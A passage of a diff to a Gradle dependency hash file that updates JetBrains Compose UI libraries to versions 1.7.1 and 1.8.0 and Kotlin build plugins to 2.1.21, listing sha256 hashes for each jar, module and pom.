+   "pom": "sha256-to73YWrUYT9AYAPPCia71isXBq6XZ3uhM60QN9YGiyM="
   },
-  "org/jetbrains/compose/ui#ui-backhandler/1.8.0-alpha04": {
-   "module": "sha256-TBDY0Hn3KGaXliBWYe8TZabnDmpDGKn1QFyWQnxpbxc=",
-   "pom": "sha256-feZmFnksgkPDl9/stOR/3Dpq8QAOC1EVTxusUEsV7ZQ="
+  "org/jetbrains/compose/runtime#runtime-saveable/1.8.0": {
+   "module": "sha256-2bJV+Fu0qqWkqjhLznkN9XtOF+0vFDvPdUXN1icYajY=",
+   "pom": "sha256-FjOQ5pFgMv/ZLkGszznBvYIje+lc6e3SjYsrdoQVbrk="
   },
-  "org/jetbrains/compose/ui#ui-desktop/1.8.0-alpha04": {
-   "jar": "sha256-Job8jQ7qgLdf+L7mQ4wW59jYwINBvNTVdIw4nGdJL7k=",
-   "module": "sha256-Ff5YZ+Jq4s4GcEPEBC+zYPXDXHX/KNruZft5gCHwfEs=",
-   "pom": "sha256-UeXawNBzLJWDDnmg+CNyua/P1UbA9ieLV/HDVgAjVZk="
+  "org/jetbrains/compose/runtime#runtime/1.7.1": {
+   "module": "sha256-xSKUczzpqMZYOfVWCw4APbgWK37T2MqN6b+mLPAzTk8=",
+   "pom": "sha256-SBR/02A24kzaP9JYsYNJVAMA8ipOHXTeA9hWpMEakm4="
   },
-  "org/jetbrains/compose/ui#ui-geometry-desktop/1.8.0-alpha04": {
-   "jar": "sha256-wi1EyFpdVX9holthBwT3BQfHrU/RYa9xK+Ot9cZhRCk=",
-   "module": "sha256-L68iLOl2A2eWUu7zXtBOjUKJVOq/2VrkpTTmAVzmtv0=",
-   "pom": "sha256-QD9xIa1KSkSVA70YjcW8WCZpbWDAFz+iv88dBbmmHps="
+  "org/jetbrains/compose/runtime#runtime/1.8.0": {
+   "module": "sha256-OwaEIcIxC6e2I6AMXWwsn6jWVjmouhclvy6+BF4ugVE=",
+   "pom": "sha256-ty8WUzuta+9sJutSksxGTvuUPZPfQJpQU/EzFcwHvIA="
   },
-  "org/jetbrains/compose/ui#ui-geometry/1.8.0-alpha04": {
-   "module": "sha256-iLjBZ8Ca8KHrRhwwCAeGyIykpkXz4IRDoYerbEmmaho=",
-   "pom": "sha256-a8eClm810GAi2FmaPhBF61JjLWtxeZUIHh0eHES/Wbc="
+  "org/jetbrains/compose/ui#ui-backhandler-desktop/1.8.0": {
+   "jar": "sha256-4rwc2e7jbHLYv+ko7TKWA+957AAKoTaIjvfNgAgWkqY=",
+   "module": "sha256-kJ8mS4FdZ8nm853dTOLcg5Ua+J8Dmu6Z3y1Iok8BjII=",
+   "pom": "sha256-3lSMlllWFP4ekOG1dbxRPnAk5y+6RCa/tgq8w3p/2qc="
   },
-  "org/jetbrains/compose/ui#ui-graphics-desktop/1.8.0-alpha04": {
-   "jar": "sha256-dgUyDYIUnaO3j7g+l6AGw2zuQcnm32vs6eZ6njvSeCc=",
-   "module": "sha256-RWpENQKtypekjfWFEN2BrpU1GDn7eidYbdEQmls2m9M=",
-   "pom": "sha256-1Ejf64hTl7MM5v3kHeTMAxM8tuzCyNI1vNrgOt7+has="
+  "org/jetbrains/compose/ui#ui-backhandler/1.8.0": {
+   "module": "sha256-6i80cJJiHuklI1d3SVgcgErTHT6l3mv6w8+ox30y5uQ=",
+   "pom": "sha256-rlpGWdjbdTYdf2vNIDUd/KpMmFfETp9In86lfIHEKno="
   },
-  "org/jetbrains/compose/ui#ui-graphics/1.8.0-alpha04": {
-   "module": "sha256-dgasC7Sv2UrXEFPfZfZmndoWJQLAac0DbYWGlQIpR3o=",
-   "pom": "sha256-8r5b6KfndcPCq3x3x0oztRK6VQJSnVGUn3UCpVoOY1g="
+  "org/jetbrains/compose/ui#ui-desktop/1.7.1": {
+   "jar": "sha256-QHKbljfqyR/Zup0QxM0usyi7MRb4CXpbnT8HGXHOoCI=",
+   "module": "sha256-pCdx2/0i3G4BxGwkWo4ZU0YwV7/tm2xzefgmcdxE/FQ=",
+   "pom": "sha256-/ZOsNR7uXLtUTfcLf3D+y1RhR2CW1uJG1gNklcXRiWE="
   },
-  "org/jetbrains/compose/ui#ui-test-desktop/1.8.0-alpha04": {
-   "jar": "sha256-8gwMPdg/+P73LRMdnYbd29Qyqg8TPFaq9Uh4MgKnwPM=",
-   "module": "sha256-R0xVp9dK9/nca2YPVz53s2biaHPwQh8YTzdMUh4mCSI=",
-   "pom": "sha256-/5DjfJFuZ9MYZEbybZJDJB6C/umgKs2Qk9h8otDrqbU="
+  "org/jetbrains/compose/ui#ui-desktop/1.8.0": {
+   "jar": "sha256-BFJFqgdPrz++lWPEVXHDiVaXT0yckhPSkBBSUcRUQwM=",
+   "module": "sha256-DbXEiqaZF1Z9XElTPwAjaQt3oF/fUC+DBUd2VS/ZJv8=",
+   "pom": "sha256-VjAlgYpJZ/2Lg7kkiF1MJndmBH8oz+Ev+LH7ymCiF0s="
   },
-  "org/jetbrains/compose/ui#ui-test-junit4-desktop/1.8.0-alpha04": {
-   "jar": "sha256-3KpvbErFEDM8mZGRUaXaN+xZWZBWNBQ8410jLV30Mqg=",
-   "module": "sha256-4mfNKVC5Nrr+2dieyE9yLu2wlvwsyYcYNTouIO4yM4g=",
-   "pom": "sha256-xOPEs9/VKdwlCqHQzKmdZaNE1jL+Vq6WEEgxTBybseo="
+  "org/jetbrains/compose/ui#ui-geometry-desktop/1.7.1": {
+   "jar": "sha256-S4bJYcC0vOeZUyn9V9Qznt4Ry3XX7JC8G5kTOWrdsw8=",
+   "module": "sha256-rxTJcKcEtuCHAB9jnE1r7dvuad5+FXKlunNjGV5e2+I=",
+   "pom": "sha256-3iEzIvQwizn+X73RZMCg+ApylT0E/AozXNqjsygGS84="
   },
-  "org/jetbrains/compose/ui#ui-test-junit4/1.8.0-alpha04": {
-   "module": "sha256-9BnCIqNd12DsgLydKk5BPHJNLsV7LicVSNR8bBUbEAI=",
-   "pom": "sha256-Dvgz+9We2mi46oNrGpp3zQLMrkCt6FUQu41TLa8uOg8="
+  "org/jetbrains/compose/ui#ui-geometry-desktop/1.8.0": {
+   "jar": "sha256-Wq+LeL7W5Wt07okxcszi4xaBO2HYoizdwFh6Unxcqic=",
+   "module": "sha256-R371HP2IozSYUcQiJx+WEP5kJJBs+GOe37OC5sTkgE4=",
+   "pom": "sha256-Oe5obv6MiqCGsK4HnThWaE+EUNnDO6YyCZhUgdNhYdw="
   },
-  "org/jetbrains/compose/ui#ui-test/1.8.0-alpha04": {
-   "module": "sha256-W2m3RxNmKdS5oYN0lMtnkm1aqNz2dSh8ECxUVSwvNTY=",
-   "pom": "sha256-Dzod4EqSklAgLdCF8GRcNWQqri+ZXDYsRvYKhEiv3Tk="
+  "org/jetbrains/compose/ui#ui-geometry/1.7.1": {
+   "module": "sha256-mkt+df1LWaMy2SRUTWUB9eDaVbIDwsxhs4fg14yTXJU=",
+   "pom": "sha256-93UQwBXgPlnocFWPdBdPZSRo9vhJOJaKxTjBKiGO3I8="
   },
-  "org/jetbrains/compose/ui#ui-text-desktop/1.8.0-alpha04": {
-   "jar": "sha256-647zK5XWCZCYBUzUlLAPHJ492qSeFkwpbdA4ZscbxF0=",
-   "module": "sha256-HGLf8eMvWtn0jXhqzIAqjLsomvK8DGCQaH/qoykTm6U=",
-   "pom": "sha256-RxihxZRXxaJjOirKneQzRgjf7bodUJYF6B9KQfi5BmA="
+  "org/jetbrains/compose/ui#ui-geometry/1.8.0": {
+   "module": "sha256-rR9Lou1GECrXXF94pe1Ku+oPXVI5Xb3dtkxaHGJ9EEI=",
+   "pom": "sha256-qhofotjSE0Y9Yr5tlomTV/N5ZPwYCIoZVtShaCc2VPY="
   },
-  "org/jetbrains/compose/ui#ui-text/1.8.0-alpha04": {
-   "module": "sha256-xWcKB6ER/XjY6lXCrrEX5cB9mxHyOGwKYmFIhuz2TuM=",
-   "pom": "sha256-hlzfNRHDmpaFFYFgzyTOpd5MZpL2XlQl5Zj8PUH5Fk8="
+  "org/jetbrains/compose/ui#ui-graphics-desktop/1.7.1": {
+   "jar": "sha256-kQnXfMJi+QQIFpscoLotFRNbYDTjd6gLvz7AI0lU6FI=",
+   "module": "sha256-DPP8FuwoupMp0UfnR54Rmyvbjr+lLyMn4yDlGQEUapE=",
+   "pom": "sha256-cIA44a4DMFFG1A/NcUNHlHGQ/yd8ZpysiH836iQ/M+Y="
   },
-  "org/jetbrains/compose/ui#ui-tooling-preview-desktop/1.8.0-alpha04": {
-   "jar": "sha256-SXgjEEYpWRoL9Au5lUam/EP84Ku7O/ysdGdI1g6NuoA=",
-   "module": "sha256-JsNUPNwLW1E66x5Sf2RjGBGUoSXJpuyIMFHa4Ztuym8=",
-   "pom": "sha256-Fcvhcf1/dQcU/T1Y3w6aL3SuB9axqtArgXWLsVS7Zls="
+  "org/jetbrains/compose/ui#ui-graphics-desktop/1.8.0": {
+   "jar": "sha256-sxoU+OAbhlO/N3iKkwCM04/9bYcZIVBj6mGmWm/Zdr8=",
+   "module": "sha256-vjPfV/XWmU5uqTauUdC3ChQyC0MUKs4dW5BJnAWtNNM=",
+   "pom": "sha256-Vew5To2ooD7esv2QvNPp7MpFFHGo96vI73yooXVGStI="
   },
-  "org/jetbrains/compose/ui#ui-tooling-preview/1.8.0-alpha04": {
-   "module": "sha256-MC3ACIOclhJmen+O2UquZf4Oh3sFSihf9qV4RFmoZbs=",
-   "pom": "sha256-+lu0KDtKzkAq41dHCKlXcgcw2Bm9bS5DOR7IhzBCHjU="
+  "org/jetbrains/compose/ui#ui-graphics/1.7.1": {
+   "module": "sha256-Bpgc3L5OyqzDVxnptAOykEHl54Rps8L1zcfMUHX8DXs=",
+   "pom": "sha256-Sj2MCO2FYVWHeAGrzgWU3BxpiOVq7H0kSsfGwxpqX9I="
   },
-  "org/jetbrains/compose/ui#ui-unit-desktop/1.8.0-alpha04": {
-   "jar": "sha256-UFp3/NVE2OFY461bhSre/Nlh64+9NB/rjiGmk5UtuQY=",
-   "module": "sha256-0bxWb7mqdrA9KB4EzxNvi8Khs3BDLyVGeHYovegjr1s=",
-   "pom": "sha256-ljirfotctywtFIZ9A7V1MtIdIf6tjArzi5RCzcP7b/g="
+  "org/jetbrains/compose/ui#ui-graphics/1.8.0": {
+   "module": "sha256-txgPMy3enTXaqmW+iY/B/YNvQ6lTRqaPGmJQsBOu778=",
+   "pom": "sha256-/DNzmQiWbbCBLQvUSP15u/b2mmGVQSyZ6RDVSArDPhI="
   },
-  "org/jetbrains/compose/ui#ui-unit/1.8.0-alpha04": {
-   "module": "sha256-pApTFo4xoFjFBPVZPjwrg1D/bA4w+CQ4wl3ukRuWPcc=",
-   "pom": "sha256-jBPwgwt41ln/tQHBHTNh8E3BelJzimXhJznwxXRLj7w="
+  "org/jetbrains/compose/ui#ui-test-desktop/1.8.0": {
+   "jar": "sha256-CdthtR9ovXwtxZbdCe2+vfnxPoBRe+oANG+qJ5hkg+0=",
+   "module": "sha256-hMtcU01/ex171Jp8gFH+Tv0caBB5T2bI7uCRtz3AS40=",
+   "pom": "sha256-gaZC9Wi3tlhi78zSnROwCbd73/JE/QyeRc0NaP5XXfU="
   },
-  "org/jetbrains/compose/ui#ui-util-desktop/1.8.0-alpha04": {
-   "jar": "sha256-zdnzOHJxDBTfdVDa2/yR1VrZo7cTRDHCr460L3V+F68=",
-   "module": "sha256-6iji9UjrDLhJ9cMEfL07jA8ThL7zN75zei3Y93rWMJ8=",
-   "pom": "sha256-8pQJk9w30k59Y44xX2ItT0kS1Ob8gOkQ+oqQe5z21eA="
+  "org/jetbrains/compose/ui#ui-test-junit4-desktop/1.8.0": {
+   "jar": "sha256-8n2pyADiUb+hnaqSCmim1ZUa/Hr7aSBKMG2WdYv17Lc=",
+   "module": "sha256-ka3xlCSSb82/+xwq5oL2Tpr4WYviLEJmNKuhzZXF3YU=",
+   "pom": "sha256-Y+vNJMaYGvzVh81zOv79gMGhbuiaN16Rz/y0r5nk5d0="
   },
-  "org/jetbrains/compose/ui#ui-util/1.8.0-alpha04": {
-   "module": "sha256-38CfOmAhhkWdmFrU8dCngZjXKMatWV44uimDAHZ+prY=",
-   "pom": "sha256-B2zeSirC6CxianbCa2ob+PmrGCHve//5qbpbPTxAxl0="
+  "org/jetbrains/compose/ui#ui-test-junit4/1.8.0": {
+   "module": "sha256-GZTUW/XSGzpwNKvHkCL6qoVS7I9VbEz4PQoYemo+PhU=",
+   "pom": "sha256-G5cVUGdWqK+IrBZHxBuDo2YeAPVzbylwjZqZO5aO/Gs="
   },
-  "org/jetbrains/compose/ui#ui/1.8.0-alpha04": {
-   "module": "sha256-k/S+3me2wuxyXAXSPgvXBXmlp9NLMla+L6taIH5LnOg=",
-   "pom": "sha256-2sOUh4F9TSH5g7gA7c+GLhHghZP++mLLqwxgdksIedY="
+  "org/jetbrains/compose/ui#ui-test/1.8.0": {
+   "module": "sha256-7dc+BTZZj9I8Uv/iYVqwuJ91K3mnnMQi3HJf4ymnP2w=",
+   "pom": "sha256-JJEExV3asWlR8qj4W1Ja9RZrYyrgCdt438gU+Nr/g6U="
+  },
+  "org/jetbrains/compose/ui#ui-text-desktop/1.7.1": {
+   "jar": "sha256-gOB+TKc597YSL2PpoX5oU7lHIg7LEYD43K9BnQ5GiZY=",
+   "module": "sha256-PR7CKTU76v2v0awhS/VEkPv2nojwZ7/LgBaB07K2bqU=",
+   "pom": "sha256-UiwW5ZbJMrHloPPN+xqTRADodlj42JjBzery0Bgphoo="
+  },
+  "org/jetbrains/compose/ui#ui-text-desktop/1.8.0": {
+   "jar": "sha256-W2TgVApMqu6zwTXV0T9B/s0v9DxB6QN07UIv74q9kp0=",
+   "module": "sha256-2JZjyhzb2wsiONN6VPSYSe2owLPPWub2PkCzCKeX324=",
+   "pom": "sha256-RD7cJpDXb1YgkUzPFmJvoQIjPlRzUBWoiDG4ADfT7qc="
+  },
+  "org/jetbrains/compose/ui#ui-text/1.7.1": {
+   "module": "sha256-nYij0rkMF+a4Hs///a6dfEzsVMfWVXWYJbpJZ90vyGM=",
+   "pom": "sha256-huwdGGauW1x/4AUsJqB/8aphkz9Vf41PuePda2L8Jb4="
+  },
+  "org/jetbrains/compose/ui#ui-text/1.8.0": {
+   "module": "sha256-u6ko+CsxtaQ/HJr7/67JcHYLC8459K/YKKGgIsWuIC8=",
+   "pom": "sha256-A84HC7srEsZveTlCWXR20E9p97CxVAls46EA7NzUiMk="
+  },
+  "org/jetbrains/compose/ui#ui-tooling-preview-desktop/1.8.0": {
+   "jar": "sha256-eohirZEZhP91HQSZwyI+agxxqCG8t1qZ9mlk7tqmfXg=",
+   "module": "sha256-N/3cLF26/SPzQTUGICee0H8VNd6AGnm3D9geU3rpxMY=",
+   "pom": "sha256-Dms0B4lXGS+pNYcHbbpSTGu2Q2xgxKmg8iB/fM1PR30="
+  },
+  "org/jetbrains/compose/ui#ui-tooling-preview/1.8.0": {
+   "module": "sha256-QliJHsyIWeC8fSdh6lDAx5Ol2Vp1JskthlDsa0/cCZk=",
+   "pom": "sha256-I0sBM8CU3DoL9htZcy3igJ+0gyJEiQlROexuDpzhMZw="
+  },
+  "org/jetbrains/compose/ui#ui-unit-desktop/1.7.1": {
+   "jar": "sha256-WYtS4lftZ0FFaUuXkKc4OpD+0uxxVLoJrOSqmDxlsaI=",
+   "module": "sha256-BacNXRO5Fhrn9YUkbrk97ly6K1XD8Ilf1mRekKPCPaU=",
+   "pom": "sha256-9R34TA7eKtHgHgf6R+9tSLoSy3ShfoXK6Nblz/Kc0Fk="
+  },
+  "org/jetbrains/compose/ui#ui-unit-desktop/1.8.0": {
+   "jar": "sha256-KW0j3qp4tQjPldFM9b2lik861bQthfzIvs9uEv+9A34=",
+   "module": "sha256-qj02WHAtKOOYudU/JN1K9XD7JN4ZY9YTSaOC3Bo08vA=",
+   "pom": "sha256-3OLKuYaq6wf0VaTKVzPnP3UWntEuJwee+4x/IJyMyUo="
+  },
+  "org/jetbrains/compose/ui#ui-unit/1.7.1": {
+   "module": "sha256-kDxEm48iI7uggivMWUuZLiqCv6rlwE/FCNKNq4hxfaA=",
+   "pom": "sha256-tq8XC59ySXOr8jPPEJFoqJIGqbFF1whpFbxlQOpdaHI="
+  },
+  "org/jetbrains/compose/ui#ui-unit/1.8.0": {
+   "module": "sha256-cZYqeI5O/64E6eZjz5kgHps6sm1iUPdPB17qaE7ClgY=",
+   "pom": "sha256-qK28UifDne3Sphw2x/iMLJuWVpMV+J69TzxRvr9TLEE="
+  },
+  "org/jetbrains/compose/ui#ui-util-desktop/1.7.1": {
+   "jar": "sha256-Fh3Mc7kp2mHO5QBF6W+wLxYzw28You84tcLETDhga1I=",
+   "module": "sha256-35JU30uqHS7Q+ctR/BxgrUlqNqzEiYEUPF1PqHRpEXs=",
+   "pom": "sha256-AeJZ6hTRKWyvCAmzP5dAcXRDNJvrCJ7ketEOaEBYDvQ="
+  },
+  "org/jetbrains/compose/ui#ui-util-desktop/1.8.0": {
+   "jar": "sha256-47HEObTqgChb6Q6u2OcFZDf2cc+v5LGKOpy1OHyAvko=",
+   "module": "sha256-kUQZhBnePBaJUtO2bhxzGjA/E0Eo/8kmz2VkfVbDYaQ=",
+   "pom": "sha256-FsnlfquLuBCBR4vcwhar80saQF2+cPmhVHkX0SILkYU="
+  },
+  "org/jetbrains/compose/ui#ui-util/1.7.1": {
+   "module": "sha256-razSdpfzafjF00aNb8ZySDHTP95e+5tvg9hdw6AXCw8=",
+   "pom": "sha256-7bcYbOSnYd3l8xMC3BRdWLw7/j5OT7x4YiiCP4zVSMw="
+  },
+  "org/jetbrains/compose/ui#ui-util/1.8.0": {
+   "module": "sha256-tfE3oBS4Z0aULDoy56i5BdXsXwWXw8Bq69YrIoJ6U6w=",
+   "pom": "sha256-v9ly8eQXV6lfYS9lAxCvJAicu3Uz2X0RlGG/TTdhEhE="
+  },
+  "org/jetbrains/compose/ui#ui/1.7.1": {
+   "module": "sha256-LpKRDBxZrLBjrmhWz5VWwlH9qMCtRsg6Tka/flenza4=",
+   "pom": "sha256-RWT33DQr7tal9G+RaxkLMe0rEgcK/ZfXXmNjSkQt9lc="
+  },
+  "org/jetbrains/compose/ui#ui/1.8.0": {
+   "module": "sha256-FOM6PYxigEyzFHWZ7gpjSmTA9xsN7i4hRUm+j9eCk0U=",
+   "pom": "sha256-pkQCj9i//MRRv+3nDZDPZhTFVIVvaKjiQZu5UvM+fGM="
   },
   "org/jetbrains/intellij/deps#trove4j/1.0.20200330": {
    "jar": "sha256-xf1yW/+rUYRr88d9sTg8YKquv+G3/i8A0j/ht98KQ50=",
    "pom": "sha256-h3IcuqZaPJfYsbqdIHhA8WTJ/jh1n8nqEP/iZWX40+k="
   },
-  "org/jetbrains/kotlin#compose-compiler-gradle-plugin/2.1.20": {
-   "module": "sha256-LBPSZp00NWUMcd8t8VDbTl8QAZKj6B6XnnUrTeCVcxA=",
-   "pom": "sha256-AudGCweKYIs9brqmIBbZi5cSPtITgU7QorGL2r2+UzU="
+  "org/jetbrains/kotlin#compose-compiler-gradle-plugin/2.1.21": {
+   "module": "sha256-sYdQC4zfyNLBw6F7lhzEO3tOGFQS/NsEsDvrkPEz+70=",
+   "pom": "sha256-zBwgchGRVLwYQXGzQmk/99LF+dwhLR5aTMCZOGL81ec="
   },
-  "org/jetbrains/kotlin#compose-compiler-gradle-plugin/2.1.20/gradle85": {
-   "jar": "sha256-CpCRRspmOsVVe9Gcwyum7Cbk6Wf11fDpU8iImxe3n3g="
+  "org/jetbrains/kotlin#compose-compiler-gradle-plugin/2.1.21/gradle85": {
+   "jar": "sha256-uGEv2xhdzZiXGlG8H0K+k2e8vK7lE+NywkoU9O2xm4Y="
   },
-  "org/jetbrains/kotlin#fus-statistics-gradle-plugin/2.1.20": {
-   "module": "sha256-6NVkojvCA3s++xxbAP+3SuRPmXJFd+L8jYf/u8nLn7U=",
-   "pom": "sha256-oRA6cKb4/8EITdwIGyS6smpWRJcvnM0UG4mU2fUFRHg="
+  "org/jetbrains/kotlin#fus-statistics-gradle-plugin/2.1.21": {
+   "module": "sha256-dqMj2vtYjg+u6OMUi5EPtuw+tCL8EGQBBr5bfwapx/M=",
+   "pom": "sha256-v7ZAATVL2BgCx0mRTMLPWOWsXQWtnB9JrEZbdxbQUiU="
   },
-  "org/jetbrains/kotlin#fus-statistics-gradle-plugin/2.1.20/gradle85": {
-   "jar": "sha256-ZnTyl1XTJq3cdWov3Kvyu2AvAABKDtLbZp2j306EgAY="
+  "org/jetbrains/kotlin#fus-statistics-gradle-plugin/2.1.21/gradle85": {
+   "jar": "sha256-/AkFgQMJpa0+oV37vhKaR+kNsRIVIyNkhBtyBEEk57A="
   },
   "org/jetbrains/kotlin#kotlin-assignment-compiler-plugin-embeddable/2.0.21": {
    "jar": "sha256-VNSBSyF3IXiP2GU5gSMImi/P91FQ17NdjnMKI34my9E=",
@@ -2799,106 +2982,102 @@
    "jar": "sha256-cLmHScMJc9O3YhCL37mROSB4swhzCKzTwa0zqg9GIV0=",
    "pom": "sha256-qNP7huk2cgYkCh2+6LMBCteRP+oY+9Rtv2EB+Yvj4V0="
   },
-  "org/jetbrains/kotlin#kotlin-build-statistics/2.1.20": {
-   "jar": "sha256-TSjxg6dsMKjKwg56P6hwVMLdHbiGSzyc04nhjdmX0x4=",
-   "pom": "sha256-OR9tc0uDTJG3qAHiI638c2tYDb3ODxOafkvUdknATKM="
+  "org/jetbrains/kotlin#kotlin-build-statistics/2.1.21": {
+   "jar": "sha256-OnYsHlWFWUR9r0IX/eK5grJQh1brECplcRlPEt1BrPo=",
+   "pom": "sha256-HSDrHKwGm5iFdxccNOBABfpcbmk1mR1ve6mGKl6uGng="
   },
   "org/jetbrains/kotlin#kotlin-build-tools-api/2.0.21": {
    "jar": "sha256-j8orSvbEzyRWXZp/ZMMXhIlRjQSeEGmB22cY7yLK4Y4=",
    "pom": "sha256-zL2XaTA2Y0gWKVGY5JRFNPr7c9d4+M1NQ588h7CQ9JQ="
   },
-  "org/jetbrains/kotlin#kotlin-build-tools-api/2.1.20": {
-   "jar": "sha256-Uzw2yzYubtLRX1hzLn9MbSvtXJ1RebiXvEsJ0W1gU3c=",
-   "pom": "sha256-kn9h95cmHFnktTEDFNaf1KOrjvT3A596UyYHXEKkFzo="
+  "org/jetbrains/kotlin#kotlin-build-tools-api/2.1.21": {
+   "jar": "sha256-BrtrNnHUvDunTA4O+rvc1VXMwtTMLvZ80wnFc4yNHlQ=",
+   "pom": "sha256-U5ag0mBsMOA66ZSnl8b5FoTG47LZ6aRf1pLl6T7sDJM="
   },
   "org/jetbrains/kotlin#kotlin-build-tools-impl/2.0.21": {
    "jar": "sha256-um6iTa7URxf1AwcqkcWbDafpyvAAK9DsG+dzKUwSfcs=",
    "pom": "sha256-epPI22tqqFtPyvD0jKcBa5qEzSOWoGUreumt52eaTkE="
   },
-  "org/jetbrains/kotlin#kotlin-build-tools-impl/2.1.20": {
-   "jar": "sha256-bpSJbjIWA+O/6J/vAkeORNHWSj0l1J0GlIkv/AHGCs8=",
-   "pom": "sha256-EPseNeDocGdH6Og+ro+LQ0BrpmTkIB7J38ua99prQro="
+  "org/jetbrains/kotlin#kotlin-build-tools-impl/2.1.21": {
+   "jar": "sha256-5sfxijIo9WypFAClTdrSHh14mp+aByY7VgyMlTR8Y80=",
+   "pom": "sha256-Wtkc/mCCSH5t8hdVjUcnCDB4vHVjy0zZBEt6e00sBY4="
   },
   "org/jetbrains/kotlin#kotlin-compiler-embeddable/2.0.21": {
    "jar": "sha256-n6jN0d4NzP/hVMmX1CPsa19TzW2Rd+OnepsN4D+xvIE=",
    "pom": "sha256-vUZWpG7EGCUuW8Xhwg6yAp+yqODjzJTu3frH6HyM1bY="
   },
-  "org/jetbrains/kotlin#kotlin-compiler-embeddable/2.1.20": {
-   "jar": "sha256-xUoAcYyMDj7oWL9Cdxx/QBxePBc4hh4Y6VNjcQQvobM=",
-   "pom": "sha256-InQE6sbYCbwNlN74kzbf332afVOHkqI01Svbr8Kuha8="
+  "org/jetbrains/kotlin#kotlin-compiler-embeddable/2.1.21": {
+   "jar": "sha256-Z6LjZzdl8JdyVgjMfIQ7DY/dlL2a9BMnIRNhYUqlfUk=",
+   "pom": "sha256-27+KwlUNWxripifyBPKLFvknHjbETYmUqjsTnL9w5Fo="
   },
   "org/jetbrains/kotlin#kotlin-compiler-runner/2.0.21": {
    "jar": "sha256-COYFvoEGD/YS0K65QFihm8SsmWJcNcRhxsCzAlYOkQQ=",
    "pom": "sha256-+Wdq1JVBFLgc39CR6bW0J7xkkc+pRIRmjWU9TRkCPm0="
   },
-  "org/jetbrains/kotlin#kotlin-compiler-runner/2.1.20": {
-   "jar": "sha256-3jtUI9j7+G6ivRM01AG8SqhOKOxIlFlS0RwAsQsUArY=",
-   "pom": "sha256-xgNdI3KARTSALDfOVU6MjLqq6EUUp7rWzAlkJNjySUU="
+  "org/jetbrains/kotlin#kotlin-compiler-runner/2.1.21": {
+   "jar": "sha256-cKiXK7e+GyuwmMml2nC+wd1EyxBNTaGqbjPcVRAo1Jo=",
+   "pom": "sha256-/BmETtKRd+x6tsN5jR0DnaRroncb+HEuKcLyRFncW44="
   },
-  "org/jetbrains/kotlin#kotlin-compose-compiler-plugin-embeddable/2.1.20": {
-   "jar": "sha256-z4dQOryWkU8WnJ7WHTCgl1eMJrDaJmb90XLsfP8vrF0=",
-   "pom": "sha256-9CTFzFuaSpzOgM4GY2kMA4jf9yPI8fQ4vdk0q2F5JYA="
+  "org/jetbrains/kotlin#kotlin-compose-compiler-plugin-embeddable/2.1.21": {
+   "jar": "sha256-ZxnS3XYgroz9FRtW0tPAyuV+ZC0ucosnKg6G0YQjJ28=",
+   "pom": "sha256-qeKk6p5W0S7L/pXHZPq2q+hg/eEN7c/LvT5X9W2qNng="
   },
   "org/jetbrains/kotlin#kotlin-daemon-client/2.0.21": {
    "jar": "sha256-Nx6gjk8DaILMjgZP/PZEWZDfREKVuh7GiSjnzCtbwBU=",
    "pom": "sha256-8oY4JGtQVSC/6TXxXz7POeS6VSb6RcjzKsfeejEjdAA="
   },
-  "org/jetbrains/kotlin#kotlin-daemon-client/2.1.20": {
-   "jar": "sha256-NjCjAYLGNXDrUZrmWqqUGSF9utCBT+3kLI3ecERlpMY=",
-   "pom": "sha256-+qpgvkJw6RSbWUOSZjlhkr60f/XjpAmF3u3FTlkXItI="
+  "org/jetbrains/kotlin#kotlin-daemon-client/2.1.21": {
+   "jar": "sha256-MHDdA1nv5KE0jAzpuVsDJHmXZVmLt7aHbxVJq1NH6U8=",
+   "pom": "sha256-TVeT9Xm3mUDoeCxYvWgbnxZL2yvvAbcq2b5pqR6uq+4="
   },
   "org/jetbrains/kotlin#kotlin-daemon-embeddable/2.0.21": {
    "jar": "sha256-saCnPFAi+N0FpjjGt2sr1zYYGKHzhg/yZEEzsd0r2wM=",
    "pom": "sha256-jbZ7QN1gJaLtBpKU8sm8+2uW2zFZz+927deEHCZq+/A="
   },
-  "org/jetbrains/kotlin#kotlin-daemon-embeddable/2.1.20": {
-   "jar": "sha256-2eg98dhHogG6PAFqeGztCRvpUDmX0J9qnPF5buSJ83Q=",
-   "pom": "sha256-sdOMCv1uHRXEjBxdFWzmBXj0MxNr7FI/TrGZ968/gik="
+  "org/jetbrains/kotlin#kotlin-daemon-embeddable/2.1.21": {
+   "jar": "sha256-lAHv/YLehgbfMokwiidcwdNXN2hmXKXt0J3DGccXFfQ=",
+   "pom": "sha256-GbJjDusajsrIz3ClF2JBCiAXUvAxHrG2+RwB1B350dw="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-annotations/2.1.20": {
-   "jar": "sha256-sk9SbQ3++wKWrg9Ks2L51soCV3JcwnMIOprjN+ooJn0=",
-   "pom": "sha256-wKs06ffQCv3LIv0D5S6PhZpGR9lY4Lh7fQzSY0QWOlo="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-annotations/2.1.21": {
+   "jar": "sha256-eEu/b4g00ez2XsUf57RLQW8zBS6CGWKlm55/dOCU9pY=",
+   "pom": "sha256-QxApK3Qc26Bu6iaC8YU5U4i+OvPLATzIo+gei5NokQA="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.20": {
-   "jar": "sha256-fjYZlm/jid9IV59DsY8sCwc2llWZFTd8lELrqM+7+/Y=",
-   "module": "sha256-AsJsJlASRw1yrc3buCTSOOayieEAzUu/moJ1Cj1Jv8A=",
-   "pom": "sha256-t02/6klcg6xWRwS6qDmk56W3kRiMj3llbJwZ3XfeLxg="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.21": {
+   "jar": "sha256-VY+KMrr1qH6WlMi7OVVwqeduCuqrqmg/msH83oujqsw=",
+   "module": "sha256-q9fHAOmpTF3zzNlek9LuqwwZJkXXB+rZXFzqR+gcwns=",
+   "pom": "sha256-QG8P2ImjHfVX+txkaouXADreDCRrX7N6YTYZFWMgUfc="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.20/gradle85": {
-   "jar": "sha256-fjYZlm/jid9IV59DsY8sCwc2llWZFTd8lELrqM+7+/Y="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.21/gradle85": {
+   "jar": "sha256-VY+KMrr1qH6WlMi7OVVwqeduCuqrqmg/msH83oujqsw="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea-proto/2.1.20": {
-   "jar": "sha256-6vELILujkjoH+PsYL7jNVlaZ4Vfuc9Elma8fXKuiUEA=",
-   "pom": "sha256-PdYeaTbcUQBs5MN+/+Q+/hQAuEHgnsSx7kqU9rkZOCo="
